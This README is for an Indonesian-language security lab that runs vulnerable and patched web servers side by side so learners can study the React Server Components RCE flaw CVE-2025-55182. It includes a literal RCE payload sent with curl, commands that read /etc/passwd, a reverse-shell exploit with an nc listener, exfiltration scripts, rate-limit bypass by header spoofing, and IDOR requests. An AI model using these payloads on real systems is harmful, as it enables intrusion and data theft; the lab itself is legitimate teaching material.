Skip to content

Agressiv1njector/react2shell-security-lab

Repository files navigation

React2Shell Security Lab - CVE-2025-55182 Demo

📋 Overview

Lab demonstrasi lengkap kerentanan CVE-2025-55182 (React2Shell) - Critical Unauthenticated Remote Code Execution dalam React Server Components dengan 3 aplikasi web berbeda untuk pembelajaran security testing.

PERINGATAN: Lab ini hanya untuk tujuan edukasi dalam lingkungan terkontrol. Jangan gunakan di production atau sistem yang tidak Anda miliki.


🌐 3 Website Lab Demo

Lab ini terdiri dari 3 aplikasi web yang berjalan di port berbeda:

1. Backend Level 1 (Vulnerable) - Port 3001

  • Website e-commerce dengan multiple vulnerabilities
  • React Server Components 19.0.0 (CVE-2025-55182)
  • IDOR, Parameter Pollution, JWT confusion
  • Target utama untuk demo exploit

2. Backend Level 2 (Secure/Patched) - Port 3002

  • Versi yang sudah di-patch dan di-hardening
  • React 19.0.1 (patch CVE-2025-55182)
  • Rate limiting, input validation, proper authorization
  • Target untuk demo bahwa patch efektif

3. Next.js Test Server - Port 3000

  • Aplikasi Next.js modern untuk testing CVE
  • Vulnerable Next.js version untuk research
  • Optional: untuk advanced testing

🏗️ Struktur Project Lengkap

react2shell-security-lab/
├── backend/                      # [WEBSITE 1] Vulnerable Backend (Port 3001)
│   ├── src/
│   │   ├── server.js            # Main server file
│   │   ├── routes/              # API routes
│   │   ├── middleware/          # Auth & validation
│   │   ├── database/            # In-memory DB
│   │   └── utils/               # Logger utilities
│   ├── public/                  # Frontend HTML/CSS/JS
│   ├── package.json             # Dependencies (React 19.0.0)
│   └── .env                     # Config (PORT=3001)
│
├── backend-lv-2/                # [WEBSITE 2] Secure Backend (Port 3002)
│   ├── src/                     # Same structure, patched code
│   ├── public/                  # Frontend files
│   ├── package.json             # Dependencies (React 19.0.1)
│   ├── .env                     # Config (PORT=3002)
│   └── SECURITY_PATCHES.md      # Documentation of all patches
│
├── CVE-2025-55182/              # [WEBSITE 3] Next.js Test Server
│   ├── test-server/             # Next.js application
│   │   ├── app/                 # Next.js App Router
│   │   ├── package.json         # Next.js 16.0.6
│   │   └── .env                 # Config (PORT=3000)
│   ├── poc.py                   # Python PoC exploit
│   └── README.md                # CVE technical details
│
├── tools/                       # Basic Exploit Tools
│   ├── rce-method1.sh           # RCE Method 1
│   ├── rce-method2.sh           # RCE Method 2
│   ├── rce-method3.sh           # RCE Method 3
│   ├── scanner.sh               # Vulnerability scanner
│   ├── reverse-shell.py         # Reverse shell exploit
│   └── README.md                # Tools documentation
│
├── tools-v2/                    # Advanced Bypass Tools
│   ├── checkout-exploit.py      # Command injection via checkout
│   ├── bypass-ratelimit.sh      # Rate limit bypass techniques
│   ├── advanced-bypass.py       # Advanced attack vectors
│   ├── comprehensive-scan.sh    # Full security assessment
│   └── README.md                # Advanced tools guide
│
└── README.md                    # This file

🚀 Quick Start - Instalasi dari 0

Prerequisites

  • Node.js 18+ atau 20+ (Download: https://nodejs.org/)
  • Python 3.8+ (untuk exploit scripts)
  • Terminal (PowerShell/WSL/Linux/Mac)
  • Text Editor (VS Code recommended)

Step 1: Clone/Download Repository

# Jika menggunakan git
git clone <repository-url>
cd react2shell-security-lab

# Atau extract ZIP file ke folder
cd react2shell-security-lab

Step 2: Install Backend Level 1 (Vulnerable) - Port 3001

cd backend
npm install

Verifikasi instalasi:

npm list react react-dom react-server-dom-webpack
# Harus muncul versi 19.0.0

Step 3: Install Backend Level 2 (Secure) - Port 3002

cd ../backend-lv-2
npm install

Verifikasi instalasi:

npm list react react-dom react-server-dom-webpack
# Harus muncul versi 19.0.1

Step 4: Install Next.js Test Server (Optional) - Port 3000

cd ../CVE-2025-55182/test-server
npm install

Step 5: Install Python Dependencies untuk Exploit Tools

# Di root directory
pip install requests
# atau
pip3 install requests

Step 6: Configure Git (Opsional)

# .gitignore sudah tersedia untuk semua directory
# Cek status git
git status

# File yang di-ignore:
# - node_modules/
# - .env files
# - *.log files
# - Exploit results (*.txt, *.html, *.json)
# - Python __pycache__/
# - IDE configs (.vscode/, .idea/)
# - OS files (.DS_Store, Thumbs.db)

Important untuk Git:

  • ✅ Source code di-commit
  • ✅ README & documentation di-commit
  • ✅ Package.json & dependencies list di-commit
  • ❌ node_modules/ TIDAK di-commit (too large)
  • ❌ .env files TIDAK di-commit (contains secrets)
  • ❌ Exploit results TIDAK di-commit (temporary data)
  • ❌ Log files TIDAK di-commit (runtime data)

🎮 Cara Menjalankan Demo

Skenario A: Demo Vulnerability (Backend Level 1)

1. Start Vulnerable Server

cd backend
npm run vulnerable
# Server berjalan di http://localhost:3001

Output yang diharapkan:

========================================
React2Shell Security Lab Backend
Mode: VULNERABLE
========================================
[INFO] Server running on port 3001
[VULN] VULNERABLE endpoints mounted (includes RSC endpoint)

2. Akses Website di Browser

Buka browser: http://localhost:3001

Test pages:

  • Homepage: http://localhost:3001/
  • Login: http://localhost:3001/login.html
  • Checkout: http://localhost:3001/checkout.html

3. Test API Health Check

curl http://localhost:3001/api/health

Response:

{
  "status": "running",
  "mode": "vulnerable",
  "timestamp": "2026-01-03T..."
}

4. Run Exploit - RCE Method 1

cd tools
chmod +x rce-method1.sh
./rce-method1.sh http://localhost:3001 "whoami"

Hasil yang diharapkan: Command berhasil dieksekusi, output muncul di terminal

5. Run Vulnerability Scanner

cd tools
chmod +x scanner.sh
./scanner.sh http://localhost:3001

Scanner akan detect:

  • ✅ React version 19.0.0 (VULNERABLE)
  • ✅ RSC endpoint accessible
  • ✅ IDOR vulnerability present
  • ✅ Parameter pollution possible

Skenario B: Demo Patch Effectiveness (Backend Level 2)

1. Start Secure Server (di terminal baru)

cd backend-lv-2
npm run start
# Server berjalan di http://localhost:3002

Output yang diharapkan:

========================================
React2Shell Security Lab Backend
Mode: SECURE (LEVEL 2)
========================================
[INFO] Server running on port 3002
[INFO] Rate limiting enabled
[INFO] RSC endpoint blocked

2. Test Health Check (Secure Mode)

curl http://localhost:3002/api/health

Response:

{
  "status": "running",
  "mode": "secure",
  "securityLevel": 2,
  "timestamp": "2026-01-03T..."
}

3. Try Same Exploit (Akan Gagal)

cd tools
./rce-method1.sh http://localhost:3002 "whoami"

Hasil yang diharapkan:

❌ Exploit FAILED
Response: {"error":"Gone","message":"CVE-2025-55182: This endpoint has been removed for security"}

4. Run Scanner on Secure Server

./scanner.sh http://localhost:3002

Scanner akan detect:

  • ✅ React version 19.0.1 (PATCHED)
  • ❌ RSC endpoint blocked (410 Gone)
  • ✅ Rate limiting active
  • ✅ Authorization enforced

Skenario C: Advanced Testing (Optional)

1. Start Next.js Test Server

cd CVE-2025-55182/test-server
npm run dev
# Server berjalan di http://localhost:3000

2. Test dengan Python PoC

cd CVE-2025-55182
python3 poc.py http://localhost:3000

🎯 Target Endpoints & Testing

Website 1: Backend Level 1 (Port 3001) - VULNERABLE

Frontend Pages

  • GET / - Homepage (Portal berita e-commerce)
  • GET /login.html - Login page
  • GET /checkout.html - Checkout/payment page

API Endpoints

Endpoint Method Purpose Vulnerability
/api/health GET Health check None
/api/news GET Fetch news None
/api/auth/login POST Authentication Weak JWT
/api/checkout POST Process payment Input validation
/api/users/profile?userId=X GET Get profile IDOR
/api/users/profile?userId=X PUT Update profile Parameter Pollution
/api/rsc POST RSC endpoint CVE-2025-55182 RCE

Test Credentials

Username: admin    | Password: admin123    | Role: admin
Username: user1    | Password: password123 | Role: user
Username: user2    | Password: password456 | Role: user

Website 2: Backend Level 2 (Port 3002) - SECURE

Same endpoints, tetapi dengan protection:

  • ✅ Rate limiting (5 login attempts / 15 min)
  • ✅ Input validation & sanitization
  • ✅ Proper authorization checks
  • ✅ RSC endpoint completely blocked
  • ✅ React 19.0.1 (patched version)

Website 3: Next.js Test Server (Port 3000)

Modern Next.js application untuk advanced CVE testing.


🔧 Tools untuk Attack & Testing

Tools Basic (folder: tools/)

1. RCE Method 1 - Direct Command Execution

cd tools
chmod +x rce-method1.sh
./rce-method1.sh http://localhost:3001 "id"
./rce-method1.sh http://localhost:3001 "whoami"
./rce-method1.sh http://localhost:3001 "cat /etc/passwd"

2. RCE Method 2 - Alternative Payload

./rce-method2.sh http://localhost:3001 "ls -la"

3. RCE Method 3 - Advanced Technique

./rce-method3.sh http://localhost:3001 "uname -a"

4. Vulnerability Scanner

chmod +x scanner.sh
./scanner.sh http://localhost:3001      # Scan vulnerable server
./scanner.sh http://localhost:3002      # Scan secure server (untuk compare)

Scanner Output:

  • Target information
  • React version detection
  • Vulnerable endpoints discovery
  • Security assessment report

5. Reverse Shell

# Terminal 1 - Start netcat listener
nc -lvnp 4444

# Terminal 2 - Launch reverse shell exploit
python3 reverse-shell.py http://localhost:3001 <YOUR_IP> 4444

Tools Advanced (folder: tools-v2/)

1. react2shell-scanner.py - Comprehensive Security Scanner ⭐ RECOMMENDED

Fitur:

  • Automatic endpoint discovery (scraping, fuzzing, wordlist)
  • Technology stack fingerprinting (React, Node.js versions)
  • Library vulnerability detection (CVE scanning)
  • Parameter discovery and fuzzing
  • Basic RCE testing (command injection, code execution)
  • Secondary RCE testing (log injection, SSRF, SSTI)
  • Comprehensive HTML reporting

Usage:

cd tools-v2

# Full comprehensive scan (recommended)
python3 react2shell-scanner.py http://localhost:3001 --full

# Fast scan (basic checks only)
python3 react2shell-scanner.py http://localhost:3001 --fast

# Normal scan
python3 react2shell-scanner.py http://localhost:3001

# Scan with verbose output
python3 react2shell-scanner.py http://localhost:3001 --verbose

# Save report to specific file
python3 react2shell-scanner.py http://localhost:3001 --output report.html

Output:

  • Detailed vulnerability report (HTML format)
  • Endpoint discovery results
  • React version detection
  • CVE-2025-55182 detection status
  • Exploitation proof-of-concepts
  • Mitigation recommendations

2. rce-with-output.py - RCE with Output Extraction

Fitur: Exploit dengan data exfiltration via out-of-band channels

Usage:

# Basic usage
python3 rce-with-output.py http://localhost:3002

# Custom command
python3 rce-with-output.py http://localhost:3002 --command "cat /etc/passwd"

Methods:

  • Blind RCE (file creation)
  • Output extraction to file
  • Data exfiltration techniques
  • /etc/passwd extraction

3. blind-test.py - Blind Exploitation Testing

Fitur: Test exploitation tanpa melihat source code (black-box)

Usage:

# Test against target
python3 blind-test.py http://localhost:3001

# Test dengan echo marker validation
python3 blind-test.py http://localhost:3001 --validate

Tests:

  • Basic connectivity
  • Multiple RCE methods (Method 1-4)
  • Echo marker detection
  • Command execution validation

4. checkout-exploit.py - Checkout Command Injection

Fitur: Command injection via checkout/process endpoint

Usage:

# Test all injection methods
python3 checkout-exploit.py http://localhost:3002 -m all

# Execute specific command
python3 checkout-exploit.py http://localhost:3002 -c "whoami"
python3 checkout-exploit.py http://localhost:3002 -c "cat /etc/passwd"

# File exfiltration
python3 checkout-exploit.py http://localhost:3002 -c "ls -la /" --output results.txt

Injection Points:

  • Name field
  • Address field
  • Email field (limited)
  • Card number field

5. bypass-ratelimit.sh - Rate Limit Bypass Testing

Fitur: Test 7 different rate limit evasion techniques

Usage:

chmod +x bypass-ratelimit.sh
./bypass-ratelimit.sh http://localhost:3002

# Test specific endpoint
./bypass-ratelimit.sh http://localhost:3002 /api/auth/login

Tests 7 bypass techniques:

  1. X-Forwarded-For header spoofing
  2. X-Real-IP manipulation
  3. X-Originating-IP bypass
  4. Client-IP header injection
  5. User-Agent rotation
  6. Multiple proxy headers
  7. Session manipulation

Output:

  • Success/Fail status for each technique
  • Request/Response details
  • Bypass recommendations

6. advanced-bypass.py - Advanced Attack Vectors

Fitur: Test multiple advanced security vulnerabilities

Usage:

# Full advanced scan
python3 advanced-bypass.py http://localhost:3002

# Test specific vulnerability
python3 advanced-bypass.py http://localhost:3002 --test prototype
python3 advanced-bypass.py http://localhost:3002 --test ssrf
python3 advanced-bypass.py http://localhost:3002 --test ssti

Tests for:

  • Prototype Pollution: __proto__, constructor, prototype
  • JSON Injection: Malformed JSON, type confusion
  • SSRF (Server-Side Request Forgery): Internal network access
  • SSTI (Server-Side Template Injection): Template engine exploitation
  • Type Confusion: JavaScript type coercion vulnerabilities
  • XXE (XML External Entity): XML parsing vulnerabilities
  • Path Traversal: Directory traversal attempts

7. comprehensive-scan.sh - Full Security Assessment

Fitur: 8-phase automated security testing

Usage:

chmod +x comprehensive-scan.sh
./comprehensive-scan.sh http://localhost:3002

# With detailed report
./comprehensive-scan.sh http://localhost:3002 --verbose

# Export results to JSON
./comprehensive-scan.sh http://localhost:3002 --json report.json

8-Phase Assessment:

  1. Reconnaissance: Port scanning, service detection
  2. Authentication Testing: Login bypass, credential stuffing
  3. Authorization Bypass: IDOR, privilege escalation
  4. Input Validation: XSS, SQLi, command injection
  5. Rate Limiting: Brute force protection testing
  6. CVE-2025-55182 Exploitation: Primary RCE testing
  7. Secondary Vulnerabilities: SSRF, XXE, LFI
  8. Report Generation: Detailed findings with PoCs

8. run-all-scanners.sh - Unified Multi-Scanner ⭐ BEST FOR COMPARISON

Fitur: Run semua scanner tools sekaligus dan aggregate results

Usage:

chmod +x run-all-scanners.sh
./run-all-scanners.sh http://localhost:3001

# With verbose output
./run-all-scanners.sh http://localhost:3001 --verbose

Runs 7+ tools:

  1. Custom React2Shell Scanner (Primary)
  2. M4xSec Shell Scanner
  3. Sammwyy R2SAE Scanner
  4. Wi3memake Scanner
  5. Jedisct1 Advanced Exploit
  6. Hidden Investigations Scanner
  7. Dr4xp Simple Exploit
  8. External community tools

Output:

  • Aggregated results in scan-results-TIMESTAMP/ folder
  • Individual tool outputs
  • Comparison matrix
  • Unified vulnerability report

9. quick-scan.sh - Fast Vulnerability Check

Fitur: Quick 5-minute security assessment

Usage:

chmod +x quick-scan.sh
./quick-scan.sh http://localhost:3001

Checks:

  • React version
  • RSC endpoint availability
  • Basic RCE testing
  • IDOR quick test

10. quick-blind-test.sh - Fast Blind Exploitation

Fitur: Quick blind RCE test without output visibility

Usage:

chmod +x quick-blind-test.sh
./quick-blind-test.sh http://localhost:3001

Tests:

  • Blind command injection
  • File creation validation
  • Time-based detection

External Tools Integration (folder: tools-v2/external-tools/)

Tool Collection Overview

Tools-v2 include integrasi dengan berbagai security tools dari community:

  1. RSC_Detector/ - Browser Extension untuk detect React Server Components
  2. aditya-poc/ - Proof of Concept dari security researcher
  3. blacktech-shell/ - BlackTech reverse shell implementation
  4. dr4xp-exploit/ - Simple exploitation framework
  5. hidden-scanner/ - Hidden endpoint discovery tool
  6. jedisct1-exploit/ - Advanced exploit with WAF bypass
  7. m4xsec-shell/ - M4xSec exploitation suite
  8. sammwyy-r2sae/ - React2Shell Automated Exploitation
  9. wi3memake-scanner/ - Community scanner tool

Installing External Tools Dependencies

cd tools-v2/external-tools

# Install all requirements
pip install -r all-requirements.txt

# Or install individually
pip install requests beautifulsoup4 urllib3 argparse

Using External Tools

1. RSC_Detector - Browser Extension

# Chrome/Edge Installation:
1. Open chrome://extensions/
2. Enable "Developer mode"
3. Click "Load unpacked"
4. Select tools-v2/external-tools/RSC_Detector/
5. Extension will detect RSC automatically when browsing

# Usage:
- Browse to target website
- Extension icon akan berubah warna jika detect RSC
- Click icon untuk detailed analysis

2. M4xSec Shell

cd external-tools/m4xsec-shell
python3 CVE-2025-55182-exploit.py http://localhost:3001/api/rsc

3. Sammwyy R2SAE (React2Shell Automated Exploitation)

cd external-tools/sammwyy-r2sae
python3 r2sae.py --target http://localhost:3001 --endpoint /api/rsc

4. Wi3memake Scanner

cd external-tools/wi3memake-scanner
python3 react2shell.py http://localhost:3001/api/rsc

5. Jedisct1 Advanced Exploit (WAF Bypass)

cd external-tools/jedisct1-exploit
python3 exploit.py --url http://localhost:3001/api/rsc --bypass-waf

6. Hidden Investigations Scanner

cd external-tools/hidden-scanner
python3 react2shell-scanner.py -u http://localhost:3001 --full

7. Dr4xp Simple Exploit

cd external-tools/dr4xp-exploit
python3 exploit.py -t http://localhost:3001/api/rsc -c "whoami"

8. BlackTech Shell

cd external-tools/blacktech-shell

# Setup listener
nc -lvnp 4444

# Run exploit (terminal 2)
python3 reverse-shell.py http://localhost:3001/api/rsc YOUR_IP 4444

External Tools Comparison & Results

Berdasarkan testing (EXTERNAL_TOOLS_TEST_RESULTS.md):

Tool Detection Rate Endpoint Discovery Speed Recommendation
Custom React2Shell Scanner ✅ 4/4 Critical ✅ Auto (123 endpoints) Fast PRIMARY TOOL
M4xSec Shell ❌ 0/4 ❌ Manual only Fast Not recommended
Sammwyy R2SAE ❌ 0/4 ❌ Manual only Medium Not recommended
Wi3memake Scanner ❌ 0/4 ❌ Manual only Fast Not recommended
Jedisct1 Exploit ❌ 0/4 ❌ Manual only Slow WAF bypass only
Hidden Scanner ❌ 0/4 ⚠️ Limited Medium Not recommended
Dr4xp Exploit ⚠️ 1/4 ❌ Manual only Fast Backup tool
BlackTech Shell ⚠️ Requires setup ❌ Manual Medium Post-exploit only

Kesimpulan Testing:

  • Use react2shell-scanner.py untuk production scanning
  • ✅ External tools berguna untuk learning & research
  • ❌ External tools GAGAL auto-detect pada blind testing
  • ⚠️ External tools butuh manual endpoint specification

Why Custom Scanner Wins:

  1. ✅ Comprehensive endpoint discovery (auto-finds /api/rsc)
  2. ✅ Multiple payload variations (6 boundary types)
  3. ✅ Echo marker validation (reliable detection)
  4. ✅ Multi-method testing (POST/PUT/PATCH)
  5. ✅ Detailed HTML reports

Advanced Testing Workflows

Workflow 1: Complete Security Assessment

# Step 1: Run comprehensive scanner
python3 react2shell-scanner.py http://localhost:3001 --full

# Step 2: Test rate limiting
./bypass-ratelimit.sh http://localhost:3001

# Step 3: Advanced attack vectors
python3 advanced-bypass.py http://localhost:3001

# Step 4: Generate full report
./comprehensive-scan.sh http://localhost:3001

Workflow 2: Quick Vulnerability Check

# Step 1: Quick scan
./quick-scan.sh http://localhost:3001

# Step 2: If vulnerable, test RCE
python3 rce-with-output.py http://localhost:3001

# Step 3: Validate with blind test
./quick-blind-test.sh http://localhost:3001

Workflow 3: Compare All Tools

# Run unified scanner
./run-all-scanners.sh http://localhost:3001

# Review results in scan-results-TIMESTAMP/ folder
cat scan-results-*/summary.txt

Workflow 4: Manual Testing dengan External Tools

# Step 1: Find RSC endpoint first
python3 react2shell-scanner.py http://localhost:3001 --fast

# Step 2: Test dengan external tool (jika RSC found)
cd external-tools/m4xsec-shell
python3 CVE-2025-55182-exploit.py http://localhost:3001/api/rsc

# Step 3: Compare results
cd ../..
./run-all-scanners.sh http://localhost:3001

🧪 Manual Testing dengan cURL

Test 1: Health Check & Version Detection

# Vulnerable server
curl http://localhost:3001/api/health

# Secure server
curl http://localhost:3002/api/health

Test 2: Login & Get JWT Token

# Login sebagai user1
curl -X POST http://localhost:3001/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user1","password":"password123"}'

# Response:
# {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":{...}}

# Simpan token untuk testing berikutnya
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

Test 3: IDOR Attack (Insecure Direct Object Reference)

# User1 (userId=2) mencoba akses data User2 (userId=3)
curl -X GET "http://localhost:3001/api/users/profile?userId=3" \
  -H "Authorization: Bearer $TOKEN"

# Pada vulnerable mode: ✅ BERHASIL (tidak ada authorization check)
# Pada secure mode: ❌ GAGAL (403 Forbidden)

Test 4: Parameter Pollution Attack

# Kirim multiple userId parameters
curl -X PUT "http://localhost:3001/api/users/profile?userId=2&userId=3" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email":"hacked@attacker.com"}'

# Vulnerable mode: Update user3 profile (bypass authorization)
# Secure mode: Blocked by input validation

Test 5: CVE-2025-55182 RCE via RSC Endpoint

# Method 1: Direct command execution
curl -X POST http://localhost:3001/api/rsc \
  -H "Content-Type: text/plain" \
  -d '{"then":"$1:__proto__:constructor:constructor"}
{"x":1}'

# Vulnerable server: RCE successful
# Secure server: 410 Gone (endpoint removed)

Test 6: Rate Limiting Test

# Try multiple rapid requests (secure server)
for i in {1..10}; do
  curl -X POST http://localhost:3002/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"wrong"}' &
done

# After 5 attempts: "Too many login attempts, please try again later"

🎓 Skenario Demo untuk Webinar/Kelas

Demo 1: Basic Exploitation (15 menit)

Setup:

  1. Jalankan backend vulnerable (port 3001)
  2. Buka website di browser

Steps:

# 1. Cek health
curl http://localhost:3001/api/health

# 2. Login normal
curl -X POST http://localhost:3001/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user1","password":"password123"}'

# 3. Run scanner
cd tools
./scanner.sh http://localhost:3001

# 4. Execute RCE
./rce-method1.sh http://localhost:3001 "whoami"
./rce-method1.sh http://localhost:3001 "id"
./rce-method1.sh http://localhost:3001 "cat /etc/passwd"

# 5. Show impact
./rce-method1.sh http://localhost:3001 "ls -la /"

Key Points:

  • Website terlihat normal, tapi vulnerable
  • Tidak perlu login untuk RCE
  • Command executed dengan privileges server
  • Full system compromise possible

Demo 2: Vulnerability vs Patched Comparison (20 menit)

Setup:

  1. Jalankan KEDUA server (port 3001 & 3002)
  2. Siapkan 2 terminal windows

Steps:

Terminal 1 - Vulnerable (3001):

cd backend
npm run vulnerable

# Di terminal lain
cd tools
./scanner.sh http://localhost:3001
./rce-method1.sh http://localhost:3001 "whoami"  # ✅ SUCCESS

Terminal 2 - Secure (3002):

cd backend-lv-2
npm run start

# Di terminal lain
cd tools
./scanner.sh http://localhost:3002
./rce-method1.sh http://localhost:3002 "whoami"  # ❌ BLOCKED

Comparison Results:

| Feature               | Vulnerable (3001) | Secure (3002)    |
|-----------------------|-------------------|------------------|
| React Version         | 19.0.0            | 19.0.1           |
| RSC Endpoint          | ✅ Accessible     | ❌ Blocked (410) |
| RCE Exploit           | ✅ Success        | ❌ Failed        |
| Rate Limiting         | ❌ None           | ✅ Active        |
| Input Validation      | ⚠️ Weak          | ✅ Strict        |
| Authorization         | ❌ Missing        | ✅ Enforced      |

Key Points:

  • Patch React = Fix RCE
  • Defense in depth: multiple protections
  • Version management critical

Demo 3: IDOR & Authorization Bypass (15 menit)

Setup:

  1. Backend vulnerable running (3001)
  2. Postman atau cURL ready

Steps:

# 1. Login sebagai user1
curl -X POST http://localhost:3001/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user1","password":"password123"}'

# Simpan token
TOKEN="<token_dari_response>"

# 2. Akses profile sendiri (user1 = userId 2)
curl -X GET "http://localhost:3001/api/users/profile?userId=2" \
  -H "Authorization: Bearer $TOKEN"
# ✅ SUCCESS - Own data

# 3. IDOR: Akses profile user lain (user2 = userId 3)
curl -X GET "http://localhost:3001/api/users/profile?userId=3" \
  -H "Authorization: Bearer $TOKEN"
# ✅ SUCCESS - Dapat akses data user lain! (VULNERABLE)

# 4. Parameter Pollution: Update profile user lain
curl -X PUT "http://localhost:3001/api/users/profile?userId=2&userId=3" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email":"hacked@evil.com"}'
# ✅ SUCCESS - User3 email changed! (VULNERABLE)

# 5. Test pada secure server (port 3002)
curl -X GET "http://localhost:3002/api/users/profile?userId=3" \
  -H "Authorization: Bearer $TOKEN"
# ❌ 403 Forbidden - Authorization check enforced

Key Points:

  • Authentication ≠ Authorization
  • IDOR = access control vulnerability
  • Always validate user permissions

Demo 4: Advanced - Reverse Shell (10 menit)

Setup:

  1. Backend vulnerable running
  2. 2 terminals ready

Steps:

Terminal 1 - Listener:

nc -lvnp 4444
# Waiting for connection...

Terminal 2 - Exploit:

cd tools
python3 reverse-shell.py http://localhost:3001 <YOUR_IP> 4444

Result:

  • Shell connection established
  • Interactive command execution
  • Persistent access to server

Cleanup:

# Ctrl+C to close
# Restart server untuk cleanup

🛡️ Mitigation & Security Best Practices

1. Update React Version (Critical)

# Check current version
npm list react react-dom react-server-dom-webpack

# Update to patched version
npm install react@19.0.1 react-dom@19.0.1 react-server-dom-webpack@19.0.1

# Or update to latest
npm update react react-dom react-server-dom-webpack

2. Remove/Disable RSC Endpoint

// Block RSC endpoint
app.all('/api/rsc', (req, res) => {
  res.status(410).json({
    error: 'Gone',
    message: 'This endpoint has been removed for security'
  });
});

3. Implement Rate Limiting

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // Max 100 requests per window
  message: 'Too many requests'
});

app.use('/api/', limiter);

4. Add Input Validation

const { body, validationResult } = require('express-validator');

app.post('/api/checkout',
  body('email').isEmail().normalizeEmail(),
  body('name').trim().escape(),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // Process checkout
  }
);

5. Enforce Proper Authorization

// Check user owns resource
function checkOwnership(req, res, next) {
  const requestedUserId = parseInt(req.query.userId);
  const tokenUserId = req.user.id;
  
  if (requestedUserId !== tokenUserId && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Access denied' });
  }
  next();
}

app.get('/api/users/profile', authenticate, checkOwnership, ...);

6. Security Headers

const helmet = require('helmet');
app.use(helmet());

Summary: Vulnerable vs Secure

Security Control Level 1 (Vulnerable) Level 2 (Secure)
React Version 19.0.0 (RCE) 19.0.1 (Patched)
RSC Endpoint ✅ Active ❌ Blocked (410)
Authorization ❌ Missing ✅ Enforced
Rate Limiting ❌ None ✅ Active (5/15min)
Input Validation ⚠️ Basic ✅ Strict (express-validator)
IDOR Protection ❌ None ✅ User-based ACL
Parameter Validation ⚠️ Weak ✅ Single value enforcement
JWT Validation ⚠️ Algorithm confusion ✅ Algorithm whitelist
Security Headers ⚠️ Disabled ✅ Helmet enabled
Body Size Limit ❌ Unlimited ✅ 10KB limit

📚 References & Learning Resources

Official CVE Documentation

Deep Dive Articles

Technical Documentation


⚖️ Legal & Ethical Guidelines

✅ ALLOWED USAGE

  • Educational purposes dalam lab environment
  • Security research dengan proper authorization
  • Training & certification practice
  • Penetration testing dengan written permission
  • Bug bounty programs (jika dalam scope)

❌ PROHIBITED USAGE

  • Attacking production systems tanpa izin
  • Unauthorized access ke sistem orang lain
  • Illegal activities atau cybercrime
  • Distribusi malware atau malicious tools
  • Violation of computer fraud laws

Legal Notice

DISCLAIMER: Tools dan teknik dalam lab ini hanya untuk tujuan edukasi dan ethical hacking. Penyalahgunaan dapat melanggar:

  • Computer Fraud and Abuse Act (CFAA) - USA
  • Computer Misuse Act - UK
  • UU ITE Pasal 30 & 46 - Indonesia
  • Cybercrime laws di negara masing-masing

Pengguna bertanggung jawab penuh atas tindakan mereka. Penulis tidak bertanggung jawab atas penyalahgunaan.


👨‍🏫 Untuk Instructor/Dosen

Persiapan Sebelum Kelas

1. Test Environment Setup (1 hari sebelum)

# Clone repository
git clone <repo-url>
cd react2shell-security-lab

# Install semua dependencies
cd backend && npm install
cd ../backend-lv-2 && npm install
cd ../CVE-2025-55182/test-server && npm install

# Test semua server
cd ../../backend && npm run vulnerable  # Test port 3001
cd ../backend-lv-2 && npm run start     # Test port 3002
cd ../CVE-2025-55182/test-server && npm run dev  # Test port 3000

# Test exploit tools
cd ../../tools
chmod +x *.sh
./scanner.sh http://localhost:3001
./rce-method1.sh http://localhost:3001 "whoami"

4. Network Configuration

# Cek IP address laptop
ipconfig  # Windows
ifconfig  # Linux/Mac

# Update IP di slide dan demo scripts
# Ganti localhost dengan IP laptop jika demo ke projector

Common Issues & Troubleshooting

Issue 1: Port Already in Use

# Windows - Find and kill process
netstat -ano | findstr :3001
taskkill /PID <PID> /F

# Linux/Mac
lsof -ti:3001 | xargs kill -9

Issue 2: npm install Failed

# Clear cache
npm cache clean --force

# Delete node_modules and reinstall
rm -rf node_modules package-lock.json
npm install

Issue 3: Permission Denied on Scripts

# Make scripts executable
chmod +x tools/*.sh
chmod +x tools-v2/*.sh

Issue 4: Python Modules Missing

pip install --upgrade pip
pip install requests urllib3

Grading Rubric (Jika untuk Assignment)

Kriteria Bobot Deskripsi
Understanding 30% Pemahaman CVE-2025-55182 & impact
Exploitation 30% Berhasil exploit vulnerable server
Analysis 20% Analisis perbedaan vulnerable vs secure
Mitigation 20% Implementasi patch & security controls

🐛 Troubleshooting & FAQ

Q1: Server tidak mau start

Error: Error: listen EADDRINUSE: address already in use :::3001

Solution:

# Windows
netstat -ano | findstr :3001
taskkill /PID <PID> /F

# Linux/Mac
lsof -ti:3001 | xargs kill -9

Q2: npm install error

Error: npm ERR! code ENOENT

Solution:

# Pastikan di directory yang benar
pwd  # Linux/Mac
cd   # Windows

# Clean install
rm -rf node_modules package-lock.json
npm cache clean --force
npm install

Q3: Exploit script permission denied

Error: bash: ./rce-method1.sh: Permission denied

Solution:

chmod +x tools/*.sh
chmod +x tools-v2/*.sh

Q4: Python script error

Error: ModuleNotFoundError: No module named 'requests'

Solution:

pip install requests
# atau
pip3 install requests

Q5: Cannot access from other machines

Problem: Website hanya accessible dari localhost

Solution:

# 1. Cek IP address
ipconfig  # Windows
ifconfig  # Linux/Mac

# 2. Update .env file
# Ganti localhost dengan 0.0.0.0

# 3. Allow firewall
# Windows: Allow Node.js in Windows Firewall
# Linux: sudo ufw allow 3001

Q6: Exploit tidak berhasil di server secure

Expected: Ini normal behavior!

Explanation:

  • Server level 2 sudah di-patch
  • RSC endpoint di-block (410 Gone)
  • React version updated ke 19.0.1
  • Ini menunjukkan patch effectiveness

Q7: JWT token expired

Error: {"error":"Invalid token"}

Solution:

# Login ulang untuk dapat token baru
curl -X POST http://localhost:3001/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user1","password":"password123"}'

Q8: Rate limit hit pada server secure

Message: "Too many login attempts"

Solution:

  • Wait 15 minutes
  • Atau restart server untuk reset counter
  • Ini adalah expected security feature

📝 Additional Resources

Recommended Reading

  1. OWASP Top 10: https://owasp.org/www-project-top-ten/
